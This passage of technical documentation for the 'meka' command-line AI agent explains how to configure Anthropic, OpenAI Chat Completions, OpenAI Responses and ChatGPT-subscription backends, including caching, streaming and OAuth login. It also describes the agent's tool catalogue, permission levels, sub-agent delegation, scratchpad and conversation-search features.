One value for every model, not a copy of that table. high is what Claude Code’s own resolution produces for almost every effort-capable model in the 2.1.263 table once the clamps have run, and it is what Claude Code falls back to for any model the table does not list. Carrying the per-model figures instead would add facts about Anthropic’s data that go stale on their release schedule and buy nothing, because the server cannot tell a default meka chose from a value you configured. Models that take no effort at all are the Claude 3.x line, Opus 4.0/4.1, Sonnet 4.0/4.5 and Haiku 4.5.
A value you configure is absolute. Claude Code silently lowers xhigh or max to high on a model whose bundled entry lacks the capability; meka does not, because that table is a snapshot of someone else’s system and quietly overriding what you asked for on the strength of it is worse than letting the API answer.
Only claude-subscription does this. anthropic-messages still omits effort when the profile sets none, because it can point at any Anthropic-compatible endpoint and has no standing to assert a default there.
Cache control
The most recent message’s last content block and the user system prompt carry cache_control: {type: "ephemeral", ttl: "1h"}. The 1h TTL is what an OAuth subscriber’s Claude Code turn carries on the wire.
Caching is prefix-based: the tools array precedes the system prompt, which precedes the messages, so a byte changing early invalidates everything after it. meka is built so that nothing which changes mid-session sits in that prefix.
- The system prompt is fixed for a session. It carries only the role description, permission model, standing instructions, guidelines, and OS/shell info, all resolved once at startup. The tool catalog, skill list, and MCP server instructions live in the per-turn
<context>block instead, because all three can change while a session runs. - The tools array only grows at the tail.
load_toolappends a schema rather than reordering. The array heads the prefix, so the request after a load still rewrites the whole cache once; what the append buys is that nothing else moves, and the request after that reads it all back. - Permission toggles cost nothing. See Permissions.
Three things do legitimately invalidate it, all by necessity rather than oversight: compaction, which rewrites the head of the conversation; a load_tool call, which grows the tools array; and an MCP server withdrawing a tool via tools/list_changed, which removes it from the array. A change to the array re-caches everything behind it once, the system prompt included, and the following request reads it all back.
You can see the effect directly: /status reports the cache hit ratio, and reads should dominate from the second turn onward.
Streaming
Server-Sent Events with the same event taxonomy as anthropic-messages: content_block_start, content_block_delta, content_block_stop, message_delta, message_stop. Reasoning streams as thinking_delta events; redacted thinking arrives as a redacted_thinking block carrying an opaque data payload and no signature, rendered as [redacted thinking].
OpenAI Chat Completions
The Chat Completions API (POST {base_url}/chat/completions) with an API key. Works against OpenAI and any endpoint implementing that format: Ollama, vLLM, LM Studio, OpenRouter, Synthetic, LiteLLM.
This is not the legacy /v1/completions endpoint, which is a different protocol: a bare prompt string in, choices[].text out, no tool calling. Several of those same servers also expose it; meka does not implement it.
For the same key against OpenAI’s newer protocol, see openai-responses.
Configuration
| Setting | Value |
|---|---|
Account backend | openai-chat-completions |
| Default base URL | https://api.openai.com/v1 |
| Credential | API key (sk-...) kept in the store |
| Auth method | Bearer token (Authorization: Bearer <key>) |
Quickest start
meka account add openai --backend openai-chat-completions
meka profile add work --account openai --model gpt-5.6-sol
meka account add prompts for your OpenAI API key, saves it to the store, and writes the
[accounts.openai] table. To read the key from a pipe instead of prompting, pass
--api-key-stdin. meka profile add then writes the profile that names the model.
Config file
The two commands write this for you (the key stays in the store, not here):
default_profile = "work"
[accounts.openai]
backend = "openai-chat-completions"
[profiles.work]
account = "openai"
model = "gpt-5.6-sol"
Supported models
Any model reachable over the Chat Completions API that supports tool calling. For OpenAI’s current line-up, see OpenAI’s models overview; meka profile add suggests gpt-5.6-sol for a profile on an OpenAI account. Against a compatible endpoint the valid names are that server’s: whatever Ollama, vLLM, LM Studio or OpenRouter serves. meka forwards the model string verbatim and doesn’t gate which strings are valid.
Custom base URL
To use an OpenAI-compatible endpoint, set the account’s base_url when creating it:
# Ollama (no real key; pipe a placeholder)
printf 'unused' | meka account add ollama --backend openai-chat-completions \
--base-url http://localhost:11434/v1 --api-key-stdin
meka profile add llama --account ollama --model llama3
# OpenRouter
meka account add openrouter --backend openai-chat-completions \
--base-url https://openrouter.ai/api/v1
meka profile add sonnet --account openrouter --model anthropic/claude-sonnet-4.6
The resulting tables (the key, if any, lives in the store):
[accounts.ollama]
backend = "openai-chat-completions"
base_url = "http://localhost:11434/v1"
[profiles.llama]
account = "ollama"
model = "llama3"
API details
Endpoint: POST {base_url}/chat/completions
Tool format: Tools are sent as function definitions:
{
"type": "function",
"function": {
"name": "read_file",
"description": "Read the contents of a file at the given path.",
"parameters": { "type": "object", "properties": { ... } }
}
}
Tool results: Sent back as messages with role: "tool" and the corresponding tool_call_id.
Streaming: Uses Server-Sent Events (SSE) with data: {...} lines. The stream ends with data: [DONE].
Usage: the cached_tokens an endpoint reports under prompt_tokens_details count as cache reads in /status and the per-turn usage line.
OpenAI Responses
The Responses API (POST {base_url}/responses) with an API key. This is OpenAI’s newer protocol
and the one it recommends for new work; it is also what chatgpt-subscription
speaks, so the two differ only in how they authenticate and where they post.
Setup
$ meka account add openai --backend openai-responses
$ meka profile add work --account openai --model gpt-5.6-sol
default_profile = "work"
[accounts.openai]
backend = "openai-responses"
[profiles.work]
account = "openai"
model = "gpt-5.6-sol"
Configuration
base_url
Defaults to https://api.openai.com/v1. meka appends /responses, so pass the base URL the server
publishes and nothing more:
base_url = "http://127.0.0.1:11434/v1" # Ollama
base_url = "https://openrouter.ai/api/v1" # OpenRouter
effort
Maps to reasoning.effort. When unset the whole reasoning block is omitted and the endpoint
applies its own default. See the effort reference.
Which servers serve this
| Server | Base URL | Notes |
|---|---|---|
| OpenAI | https://api.openai.com/v1 | The reference implementation |
| Ollama | http://127.0.0.1:11434/v1 | v0.13.3+ only; earlier versions 404 |
| vLLM | your deployment | |
| LM Studio | your deployment | |
| OpenRouter | https://openrouter.ai/api/v1 | Beta |
| Synthetic | not served | Not supported; use openai-chat-completions or anthropic-messages |
Only the non-stateful flavor is needed. meka replays the whole conversation every turn and sends
store: false, so it never uses previous_response_id or server-side conversation state, which is
also all the local runtimes implement.
Choosing between this and Chat Completions
Both take an API key and both reach most of the same servers, so the question is only which protocol the server implements and which one you want:
- Prefer
openai-responseswhere it is available. It is what OpenAI recommends for new work, and the agent tooling ecosystem has moved to it: OpenAI’s own Codex CLI dropped Chat Completions support entirely. - Use
openai-chat-completionsfor a server that does not serve/v1/responses, which is still a great many of them.
Neither is the legacy /v1/completions endpoint, which is a third protocol with no tool calling that
meka does not implement.
API details
Endpoint: POST {base_url}/responses
Auth: Authorization: Bearer <api key>
Streaming: SSE, always. complete folds the stream internally rather than issuing a separate
non-streaming request.
Request body fields meka sets: model, input, instructions (the system prompt, when non-empty),
tools, tool_choice: auto, parallel_tool_calls: false, store: false, stream: true,
reasoning.effort (only when effort is set), and max_output_tokens (only when
max_output_tokens is set).
What it deliberately does not send is include: ["reasoning.encrypted_content"] or
reasoning.summary. Both are OpenAI extensions: the first round-trips reasoning across stateless
turns, the second asks for the human-readable digest meka renders as a thinking block.
chatgpt-subscription sends both because its endpoint is always ChatGPT; here the endpoint is
whatever base_url names, meka has no way to know whether either is understood, and an unrecognized
field is a rejected request rather than a degraded one.
The trade-off, stated plainly: against OpenAI itself this backend shows no thinking and carries no
reasoning between a turn’s own tool calls. Use chatgpt-subscription if you want either. Endpoints
that stream reasoning unprompted (vLLM and Ollama emit response.reasoning_text.delta without
being asked) still render their thinking here.
The same rule keeps prompt_cache_key off the wire here: it is OpenAI’s own routing hint, and
chatgpt-subscription is where meka sends it. The cached_tokens an endpoint reports inside
input_tokens are counted as cache reads, so /status shows a hit rate on this backend too.
ChatGPT subscription
The Responses API billed to a ChatGPT subscription, at chatgpt.com/backend-api/codex/responses, using the OAuth tokens issued by ChatGPT login and mirroring the first-party Codex CLI’s request shape. The OpenAI counterpart to claude-subscription: instead of paying per token via an API key, you authenticate with your ChatGPT Plus / Pro / Team / Business / Enterprise account and usage counts against your subscription.
For the same protocol with an API key, against OpenAI or any server that serves it, see openai-responses.
Note: This backend replicates the wire shape that OpenAI’s first-party Codex CLI sends. It targets
chatgpt.com/backend-api/codex/responsesusing the OpenAI Responses API, a different protocol thanopenai-chat-completions, which uses Chat Completions againstapi.openai.com. The two backends are not interchangeable.
Configuration
| Setting | Value |
|---|---|
Account backend | chatgpt-subscription |
| Default base URL | https://chatgpt.com (request path /backend-api/codex/responses); see base_url |
| Credential | OAuth bundle kept in the store (acquired via meka account add / login) |
| Auth method | OAuth 2.0 Authorization Code with PKCE |
| OAuth issuer | https://auth.openai.com |
| Required tier | ChatGPT Plus, Pro, Team, Business, Enterprise, or Edu |
Initial setup
meka account add chatgpt --backend chatgpt-subscription
# Open the printed URL; sign in to ChatGPT and approve.
# Tokens are saved to ~/.local/share/meka/meka.db (chmod 0600).
meka profile add work --account chatgpt --model gpt-5.6-sol
meka account add binds a local listener on 127.0.0.1:1455 to receive the OAuth callback, matching the redirect URI registered with OpenAI’s auth server. If port 1455 is already in use (e.g. you’re already running the Codex CLI), free it first.
On a remote or headless machine (SSH, container) the browser runs elsewhere, so the redirect to http://localhost:1455/... can’t reach meka. In that case, after approving in your browser, copy the full callback URL from the address bar (visible even though the page failed to load) and paste it at the prompt; meka picks the code and state out of it. The paste prompt runs alongside the local listener, so on a local machine the callback still completes automatically with nothing to paste.
Config file
The two commands write this for you (the token bundle stays in the store):
default_profile = "work"
[accounts.chatgpt]
backend = "chatgpt-subscription"
[profiles.work]
account = "chatgpt"
model = "gpt-5.6-sol"
effort = "xhigh" # optional; unset sends none, so OpenAI's default applies
The effort field maps to the Responses API reasoning.effort knob. When unset the reasoning block is omitted and OpenAI applies its own default; meka picks no tier and consults no catalog. An explicit value is absolute: sent verbatim, never clamped.
base_url
The account’s base_url defaults to https://chatgpt.com, and two shapes are accepted, told apart
by the path:
base_url | Turns are posted to |
|---|---|
An origin, or a proxy prefix, whose path has no backend-api or codex segment (https://chatgpt.com, https://proxy.example.com/openai) | <base_url>/backend-api/codex/responses |
A base whose path already contains a backend-api or codex segment, such as the https://chatgpt.com/backend-api/codex the Codex CLI’s own configuration uses | <base_url>/responses |
The segment test is on the path alone, so a host named codex.example.com is the first shape. The
account endpoints behind meka account usage, whoami and stats hang off /backend-api beside
codex rather than under it: a trailing /codex is stripped and /backend-api appended when the
path has none, so both shapes reach /backend-api/wham/usage.
Supported models
Whatever your ChatGPT subscription tier exposes. For the current line-up, see OpenAI’s models overview; meka profile add suggests gpt-5.6-sol for a profile on an OpenAI account. The model field on the request body is forwarded verbatim; meka doesn’t gate which model strings are valid.
How it works
Each request:
- Auth header set:
Authorization: Bearer <access_token>,ChatGPT-Account-ID: <workspace_id>(extracted from the JWT id_token at login),originator: meka_cli, plus aUser-Agentidentifying meka. A turn also carriessession-idandthread-id, both the session’s id; see Prompt caching. - Cookie jar enabled:
chatgpt.comis fronted by Cloudflare; bot-clearance cookies (__cf_bmetc.) persist across requests automatically. - Body: standard Responses API JSON:
instructions,input(an array ofmessage/reasoning/function_call/function_call_outputitems),tools, optionalreasoning.effort, plus the two reasoning parameters Codex also sends:reasoning.summary: "auto"andinclude: ["reasoning.encrypted_content"]. Both are sent on every request, whether or noteffortis configured. A turn addsprompt_cache_key, the session’s id. - Stream: SSE events:
response.output_text.deltafor text,response.output_item.added/…donefor tool calls,response.reasoning_summary_text.delta(andresponse.reasoning_text.delta) for thinking,response.reasoning_summary_part.addedfor the break between summary sections,response.completedfor end-of-turn with token usage.
Reasoning across turns
Requests are stateless (store: false), so the reasoning a model produced is only available to the next request if meka sends it back. It does: each reasoning item is recorded with its rs_… id and its encrypted_content, and replayed verbatim as a reasoning input item immediately before the output it produced. This is what lets a multi-step tool-calling turn keep one chain of thought instead of restarting it at every call, and it mirrors what the first-party Codex client does.
The encrypted content is opaque: meka cannot read it, only replay it. It is stored under a shape that records which provider it came from, so a session recorded here and resumed against Claude does not hand Claude an OpenAI blob (nor the reverse); a block from the wrong provider is simply not replayed. The summary is the readable part, and what the REPL shows as a thinking block (see [thinking] for show_content).
A session recorded by 0.41 holds its thinking blocks under a shape that names no provider, and meka does not reshape them when it opens a session. The one-shot upgrade script does it, in a pass over the store you can watch finish, because it has to guess which provider each block came from and reports what it read before it writes. Until it runs, such a block keeps its readable summary and loses its encrypted half, so that reasoning is not replayed.
Prompt caching
OpenAI’s prompt cache is automatic and unbilled, but a hit needs the request to land on the machine that holds the prefix, and the endpoint routes on the session named in prompt_cache_key and the session-id header. meka names the session in both, as Codex does. Measured without them, a conversation whose prefix never changed was served from the cache on one request in four; with them, on nearly every request after the first. The endpoint fills its cache asynchronously, so a tool round that returns within a few seconds of the previous response can still miss. The cached share is the cache hit figure in /status and the per-turn usage line, read from the cached_tokens the endpoint reports inside its input count.
5. Token refresh: when the access token is within 5 minutes of expiry, meka transparently refreshes it against auth.openai.com/oauth/token before the next request.
Limitations
- Streaming-only: the Codex endpoint has no non-streaming shape, so meka always streams here and folds the stream internally to satisfy a non-streaming completion.
--no-streamis accepted and behaves normally; it changes what the terminal renders, not what goes on the wire. - Subscription required: you need a paid ChatGPT plan with Codex enabled. Free-tier accounts can complete the OAuth flow but most models will reject requests at the API layer.
- Bot detection: chatgpt.com may serve a Cloudflare challenge if request patterns look automated. meka’s reqwest client handles cookie-clearance automatically; if you hit a hard challenge, complete it once in a regular browser to refresh the cookies.
- Endpoint stability: this is OpenAI’s subscription-internal API; OpenAI doesn’t guarantee compatibility for third-party clients. Future Codex versions could add request signing or rotate scopes; meka will need updates if that happens.
Subscription vs API key
If you have both a ChatGPT subscription and an OpenAI API key:
- Use
chatgpt-subscriptionfor interactive work: it’s billed against your subscription’s usage cap rather than per-token, so heavy use is cheaper for most personal patterns. - Use
openai-responsesfor scripted / unattended work: it is the same protocol as this backend with a plain API key, so keys are stable, nothing depends on the Cloudflare cookie jar, and it also reaches Ollama, vLLM, LM Studio and OpenRouter. Fall back toopenai-chat-completionsfor a server that does not serve/v1/responses.
Logging out
meka account remove <name> deletes the stored credential from the store and removes the
account from the config file, once no profile names it:
meka profile remove work
meka account remove chatgpt
To re-authenticate the same account without removing it (e.g. after a dead refresh token), run
meka account login <name> for a fresh PKCE pair.
Tools overview
Tools are the actions that the agent can perform on your behalf. The LLM decides which tools to call based on your instructions.
Available tools
| Tool | Permission | Description |
|---|---|---|
read_file | Read | Read file contents |
edit_file | Workspace | Make string replacements in a file |
write_file | Workspace | Create or overwrite a file |
find_files | Read | Find files by glob pattern |
search_contents | Read | Search file contents with regex |
fetch_url | Read | Fetch a web page as markdown |
execute_command | Read | Run a shell command (see the note below) |
todo | Read | Manage and read a structured task list |
agent_spawn | Read | Delegate tasks to a sub-agent |
agent_list | Read | List the sub-agents this session spawned |
agent_followup | Read | Ask a sub-agent another question |
agent_steer | Read | Send a sub-agent a message without waiting for it |
agent_delete | Read | Discard a sub-agent and its records |
scratchpad_write | Read | Store content in the scratchpad |
scratchpad_read | Read | Read a scratchpad entry |
scratchpad_edit | Read | Edit a scratchpad entry |
scratchpad_list | Read | List scratchpad entries |
scratchpad_delete | Read | Delete a scratchpad entry |
scratchpad_merge | Read | Combine several scratchpad entries into one |
scratchpad_rename | Read | Rename a scratchpad entry |
scratchpad_load_file | Read | Load a file into the scratchpad |
scratchpad_save_file | Workspace | Write a scratchpad entry out to a path |
skill_read | Read | Load a named skill’s instructions |
skill_search | Read | Regex over the full text of every skill |
skill_write | Read | Create or update a skill |
skill_delete | Read | Delete a skill and its directory |
memory_write | Read | Save a durable note that outlives the session |
memory_read | Read | Load one saved memory in full |
memory_search | Read | Ranked full-text search over every memory |
memory_delete | Read | Delete a saved memory |
render_image | Read | View an image from in-memory base64 or scratchpad |
context_check | Read | Measure the context window live: occupancy, headroom, compaction count |
context_compact | Read | Ask for a compaction before the next step of this turn |
conversation_search | Read | Search the full conversation history, including compacted turns |
conversation_read | Read | Read conversation turns by index |
schedule_create | Read | Schedule a future turn for this session |
schedule_list | Read | List this session’s scheduled jobs |
schedule_cancel | Read | Cancel a scheduled job |
task_list | Read | List this session’s background tasks |
task_cancel | Read | Stop a running background task |
load_tool | Read | Fetch the full schema of a deferred tool, one name or up to ten |
The schedule_* tools require [schedule] enabled (on by default), the memory_* tools require [memory] enabled (on by default), and the task_* tools require [background] enabled (off by default). skill_write and skill_delete require [skills] agent_managed (off by default) and are never given to a sub-agent. A disabled subsystem registers no tools at all, rather than shipping schemas that could only fail.
Permission requirements
Tools are grouped by the minimum permission level required:
Read permission (available at read and above):
read_file,find_files,search_contents,fetch_urlexecute_command(sandboxed, filesystem write-protected)todo,agent_spawn,agent_list,agent_followup,agent_steer,agent_delete,render_image- All skill tools, including
skill_writeandskill_deletewhen they are enabled: like memory, skills live in meka’s own config directory, not your working tree conversation_search,conversation_read,context_check,context_compact- Every scratchpad tool except
scratchpad_save_file, which writes to a path you name and so sits atworkspacewithwrite_file - All memory tools. Writing a memory needs only read permission: memories live in the store, which is meka’s own, not your working tree.
Workspace permission (available at workspace and above; writes are confined to the workspace roots at workspace):
edit_file,write_file,scratchpad_save_file
execute_command is not in that list: it asks for read when a sandbox backend is available and unrestricted when none is, so it is reachable at read and confined by the level, not by its own requirement.
With approvals on, a call above the level is put to you instead of refused. An approved call still runs at the session’s level: an approved execute_command at read runs in the read-only sandbox, and an approved write_file lands only under the workspace roots. Raise the level when an approved call needs more reach.
At none, no tools are available. The agent can only respond with text.
Filtering built-in tools
Any built-in can be allow-listed, blocked, or have its required permission overridden via the [tools] table in config.toml. See [tools]: built-in tool filters. Run meka tool list to see every built-in with its effective permission and current status.
MCP tools
When MCP servers are configured, their tools are registered under a namespaced name of the form mcp__<server>__<tool> (e.g. mcp__notion__notion-search). The mcp__ prefix matches Claude Code’s convention and keeps MCP tools from colliding with built-in names. They appear in the per-turn context catalog alongside the built-ins, with their resolved permission level annotated inline, and are called the same way.
meka also exposes seven built-in MCP meta-tools for browsing server-side resources and prompts. All are deferred by default; call load_tool with the exact name to make the schema available on the next turn:
| Tool | Permission | Description |
|---|---|---|
mcp_resource_list | Read | List resources a server exposes |
mcp_resource_read | Read | Read a server resource by URI |
mcp_prompt_list | Read | List server-defined prompts |
mcp_prompt_get | Read | Render a server prompt with arguments |
mcp_resource_subscribe | Read | Receive change notifications for a resource |
mcp_resource_unsubscribe | Read | Stop receiving change notifications |
mcp_resource_updates_list | Read | Inspect pending resource-change notifications |
Deferred tools
Most MCP tools are deferred: they are registered and listed under [Tool discovery] in the per-turn context, but their JSON schemas are withheld from the request until the agent calls load_tool. A large server can advertise fifty tools with multi-kilobyte schemas, and shipping all of them on every turn costs more than it returns.
The trade-off is that until a tool is loaded, the agent sees only its name and a summary clipped to 250 characters. Anything past that clip is invisible, including optional parameters, and a summary that was clipped ends in ….
Two behaviors exist so this never turns into a silent wrong answer:
- Calling a deferred tool without loading it works. The agent may be confident about the required arguments, and forcing a round trip it doesn’t need is worse than allowing it.
- But when it does that and the tool has documented parameters it didn’t pass, meka appends a note to the tool result naming them, with their types, defaults, and descriptions. A wrong default stops being invisible. The note is emitted once per tool per run.
load_tool takes one name or an array of up to ten, so a task needing several tools off one server costs one round trip:
load_tool({"name": ["mcp__notion__search", "mcp__notion__fetch"]})
Tools listed in a server’s eager_load_tools skip all of this: their schemas ship from turn 1. Use it for tools whose optional parameters matter and that the agent reaches for constantly.
When writing a tool description for a server meka will consume, put whatever a caller must know to use the tool correctly in the first two sentences. That may be all anyone ever sees.
Background calls
With [background] enabled, every tool except context_compact gains an optional background parameter, MCP tools included. context_compact does no work of its own: it parks a request the loop drains once the batch’s results are in, and detaching it would race that drain. A call that sets it returns a task id immediately and delivers its result later as its own turn, which is what makes a twenty-minute build affordable. See Background tasks.
execute_command({"command": "cargo test --all", "background": true})
Like scratchpad, background is meka’s own: it is consumed by the agent loop and removed from the arguments before the tool, or a remote MCP server, ever sees it.
A tool that advertises background itself keeps it. meka does not splice its own parameter over a name a tool already uses, and does not strip or interpret one either, so a server with a background color or a detach flag of its own receives the argument untouched and the call does not detach.
These two are also the only parameters meka type-checks. A background that is not a boolean, or a scratchpad that is not a string, refuses the call and says what was expected, rather than being read as absent. Both decide what a call does rather than what it is called with, so ignoring a wrong type would silently turn a detached call into a blocking one, or drop output the agent asked to keep. A tool’s own arguments are the tool’s to validate: meka reports a mismatch as an advisory on the result and lets the call through, since a remote server is the authority on what it accepts. null counts as absent for both, which is what models emit for an optional argument they are not using.
Scratchpad parameter
A scratchpad string parameter saves a tool’s output to the scratchpad under that name instead of returning it inline, so a large result stays out of the conversation.
execute_command({"command": "pdftotext doc.pdf -", "scratchpad": "pdf_text"})
It is honored on every tool, MCP servers included: the redirect happens where the result is
recorded, not inside the tool. Eleven built-ins also advertise it in their schema, which is how the
model discovers it: read_file, edit_file, write_file, find_files, search_contents,
fetch_url, execute_command, conversation_read, agent_spawn, agent_followup
and todo, the last for uniformity alone, since its list is kept as state and nothing is redirected.
Three of those lift a cap when it is set, producing their full untruncated output: find_files (500
results), search_contents (100 matches) and fetch_url (limit). An explicit limit on
find_files or search_contents still applies.
How tool calls work
- The agent receives your instruction and decides which tools to call
- For each tool call, meka checks the current permission level
- A call above the level is refused, or put to you for approval when approvals are on
- If permitted, the tool executes and its output is fed back to the agent
- The agent may make additional tool calls or respond with text
- This loop continues until the agent has no more tool calls to make
Tool calls and their results are displayed in the terminal so you can see what the agent is doing.
todo
A built-in tool for managing a structured task list during a session. The agent uses it to track multi-step work and communicate progress; the list is displayed in the terminal (for the root agent) and injected into the conversation context each turn. Every call returns the full current list (with task numbers), so the agent never needs a separate read.
Inputs (all optional):
title: a short heading summarizing the overall goal; rendered as the list’s heading (TODO: <title>). Required whenever you passitems, and persists across latersetupdates.items: replace the whole list. Each entry is a task string (status defaults topending) or an object{text, status}. Tasks are numbered1..Nin order.set: a sparse status update keyed by task number, e.g.{"1": "completed", "2": "in_progress"}. This is the common path while working.
Task statuses are pending, in_progress, completed, and canceled. Calling todo with no arguments simply reads the current list.
agent_spawn
Spawns a sub-agent to perform research, analysis, or any other delegated task. The sub-agent gets its own private todo list (todo operates on the sub-agent’s own state), runs silently (its tool calls are not surfaced to the terminal), and returns a single text report. Use this to keep exploratory or speculative work out of the main conversation context.
Multiple agent_spawn calls in one assistant turn run in parallel; useful when independent investigations can proceed concurrently.
Recursion. Sub-agents may themselves spawn further sub-agents, so an agent can orchestrate a team. Nesting is bounded by session.subagent_max_depth (default 3; 1 reproduces the old “sub-agents can’t spawn” behavior, 0 disables agent_spawn entirely). Pass the optional max_depth parameter to tune how deep a given subtree may recurse; a built-in absolute cap always bounds real nesting so recursion can’t run away.
Permission. By default a sub-agent inherits the parent’s permission level. Pass the optional permission parameter (none / read / workspace / unrestricted) to run it at a more restricted level: the value is clamped to the parent’s level as a ceiling, so a sub-agent can never be escalated above its parent. This lets an orchestrator hand untrusted or risky work to a read-only sub-agent. A sub-agent shares its parent’s approvals switch, and its prompts reach the parent’s frontend.
Writable roots. Pass writable_roots, a list of directories, to confine the sub-agent’s writes to exactly those: the first becomes its working directory, so relative paths in its tool calls resolve there, and the rest become its additional workspace roots. Nothing of your own workspace comes with it. Each entry must be an existing directory; a relative one resolves against your working directory. You must be at workspace or unrestricted, and at workspace every entry must lie inside your own workspace boundary, so a sub-agent’s reach never exceeds yours; at unrestricted any directory may be named. The sub-agent runs at workspace unless permission asks for less. permission: "unrestricted" alongside writable_roots is refused, since the list would then bound nothing, and so is an empty list. The bounds are recorded with the sub-agent and hold across agent_followup, which checks them against your reach at that moment: a session that has since dropped below workspace, or moved to a directory that no longer contains them, cannot resume the sub-agent.
Tools. Pass deny_servers to withhold whole MCP servers from the sub-agent (its tools, its resources, and its prompts) or deny_tools to withhold individual tools by name. Both union with whatever [subagents] already denies; there is no way to grant something back, so a nested agent_spawn can only ever narrow further. Config is the place to put a restriction you always want, since the failure mode this guards against is an orchestrator forgetting to ask for it.
Profile. With [subagents].agent_chosen_profile on, pass profile to run the sub-agent on another configured profile; the parameter lists every configured name. A sub-agent given a profile keeps it on every agent_followup, whatever profile the parent has since switched to. Only an act on the sub-agent’s own session, such as an import onto another profile, moves it. Without the parameter the sub-agent runs on the parent’s profile and follows it across a switch. The parent’s own profile needs no naming.
Context is granted, not inherited. A sub-agent starts with a clean slate and receives only what you ask for:
memory: "read"grants read access to your memory store. Default"none", because memories from unrelated work are context the sub-agent pays for and reasons from. Sub-agents can never write to the store: record anything worth keeping yourself, from the sub-agent’s report.instructions: "inherit"hands over your instructions file verbatim. Default"none", because those instructions describe you: your persona, how to address the user, what to volunteer. A sub-agent handed one task by one of your turns is not you. Grant them when the task needs the project’s standing rules and quoting the relevant ones intopromptwould be lossy or expensive; pass askillwhen the direction is reusable.
Neither can be granted beyond what you hold yourself, so authority only narrows going down a chain of sub-agents. A sub-agent you gave no memory cannot give its own sub-agents any.
Follow-up. agent_spawn returns the sub-agent’s id on the first line of its result, above the report. Keep it if you might have a second question: with it you can call agent_followup instead of re-spawning one that would have to rediscover everything.
agent_list / agent_followup / agent_steer / agent_delete
A sub-agent is not a one-shot. Its conversation persists under its own session, so you can go back to it.
agent_list: the sub-agents this session spawned, one per line as<id>\t<cwd>\tturns=<n>\tlast_active=<timestamp>. Direct children only: a sub-agent’s own sub-agents belong to it and appear in its list.agent_followup({id, prompt, scratchpad?}): asks a sub-agent another question. It still has its own conversation, so it can build on what it already found rather than starting from your summary of it. Returns its new report. A sub-agent that is still running, because it was spawned or followed up withbackground: true, refuses a follow-up and says so: reach it withagent_steer, or follow up once it has finished.agent_steer({id, message, interrupt?}): puts a message in the sub-agent’s inbox and returns at once, with no answer. A sub-agent that is running reads it at its next round boundary, after that round’s tool results; one that has finished reads it at the start of the nextagent_followup, after the follow-up’s own words. Either way it arrives under a header naming the parent as the sender and when it was sent. For a correction or a change of course while the work is under way; useagent_followupwhen you want a reply. Withinterrupt: truethe sub-agent does not finish its current step first: the answer it is writing is cut and kept as far as it got, and the message is the next thing it reads, inside the same turn; a tool it is running still finishes, and the message follows that tool’s result. The cost is the request sent again, so set it when the answer under way is being wasted, not merely when you have something to add. A profile that does not stream has no partial answer to keep: the reply being generated is dropped whole and the request goes again with the message.agent_delete({id}): discards a sub-agent: its conversation, its scratchpad entries, and any sub-agents it spawned in turn. Nothing it wrote to disk is touched. Worth doing once you have what you needed, so a long session isn’t carrying every sub-agent it ever ran.
agent_followup, agent_steer and agent_delete take the full id, or any prefix that is unique among this session’s sub-agents; a prefix two of them share is refused and both are named. All three refuse an id that isn’t a child of the current session, so one session can never drive, steer or delete another’s sub-agents.
All five go together. Denying agent_spawn in [tools].disabled_tools, or setting session.subagent_max_depth = 0, removes the four lifecycle tools too: an agent that cannot delegate has no sub-agents for them to act on, and leaving them behind would let it drive the ones a previous run left in the store. meka tool list reports all five as disabled in either case. Denying only agent_list removes just that one.
A follow-up runs under the terms of the spawn, not your current ones. The permission level, the deny lists, the memory level and the inherited scratchpad names are recorded when the sub-agent is created and replayed on every follow-up. If you spawned a sub-agent at read and have since switched to unrestricted, following up on it still runs it at read. That is deliberate: otherwise a second question would be a way to escalate a sub-agent you deliberately restricted. A sub-agent that shares your workspace keeps the working directory it was spawned in; at workspace, a follow-up is refused once that directory lies outside your own boundary, the same check a sub-agent’s writable_roots get.
Two things do not survive a follow-up, because they only ever lived in memory: the sub-agent’s todo list, and which files it had read. It is told as much at the start of the turn. Its context gauge does survive: the follow-up starts from the occupancy the sub-agent’s row last recorded, so its first turn back is checked against the ceiling like any other.
One follow-up at a time per sub-agent. A second concurrent call on the same sub-agent is refused rather than interleaved, since both would be appending to one conversation from a view of it that the other has already changed.
The skill_* tools
Skills are knowledge packages stored in ~/.config/meka/skills/<name>/SKILL.md. The per-turn context lists the installed ones with their descriptions; these tools open, search, and (when enabled) maintain them.
skill_read({"name": "<skill-name>"})returns the full body, prefixed with the skill’s base directory.skill_search({"pattern": "<regex>"})matches each line of every skill, bodies included. This is what reaches skills the capped index did not list, and what answers “which of my skills covers this” when the one-line descriptions do not.skill_write({"name": ..., "description": ..., "priority": ..., "body": ...})creates or updates a skill. Omittingbodykeeps the existing one.skill_delete({"name": ...})removes the skill’s whole directory, bundled files included.
The last two are registered only when [skills] agent_managed is on, and never for a sub-agent. See Skills for how to author skills and Letting the agent manage skills for when to hand authoring to the agent.
render_image
Displays an image the agent has in memory, as base64 bytes or in a scratchpad entry, as a multimodal content block. Complements fetch_url (network) and read_file (local file) by covering the third case: image data produced on the fly by a command pipeline.
Typical workflow:
execute_command({"command": "ffmpeg -i input.mp4 -vframes 1 -f image2pipe pipe: | base64 -w0", "scratchpad": "frame"})
render_image({"from_scratchpad": "frame"})
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
from_scratchpad | string | one of two | Name of a scratchpad entry containing base64-encoded image bytes |
base64 | string | one of two | Base64-encoded image bytes, passed inline |
Exactly one of from_scratchpad or base64 must be provided. Prefer from_scratchpad for large images; inline base64 inflates tool-call JSON.
The bytes must decode to a supported raster image. PNG, JPEG, GIF, WebP, and BMP pass through unchanged; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS, and Farbfeld are auto-converted to PNG. Size cap is ~3.75 MB on the final payload.
Only call render_image when the current model supports vision input.
conversation_search / conversation_read
Search and re-read this session’s full conversation, including earlier turns that compaction summarized and removed from the model’s context. Compaction never deletes turns (it appends a boundary and hides the older ones); these tools read straight from the on-disk event log, so a detail the compaction summary dropped is still recoverable.
conversation_search searches and returns matching lines, each tagged with a message index (#N) and role:
conversation_search({"query": "auth token", "is_regex": false, "limit": 20})
query(required): text to search for; a literal substring (case-insensitive) unlessis_regexis set.is_regex: treatqueryas a case-sensitive regular expression. Default:false.limit: maximum matches to return (capped at 100). Default: 20.
conversation_read reads turns by the #N index that conversation_search reports:
conversation_read({"start": 47, "limit": 3})
start(required): 1-based message index to read from.limit: number of consecutive messages to read (max 20). Default: 1.scratchpad: save the output to a scratchpad entry instead of returning it inline.
After a compaction, the summary message reminds the agent that these tools exist. Large tool outputs appear as <large-output> references in both conversation_search and conversation_read results (rather than inlining the full payload); read their full content with scratchpad_read.
context_check / context_compact
Where conversation_* reads the archive (the full log on disk, including turns compaction removed from the window entirely), context_* manages the live window.
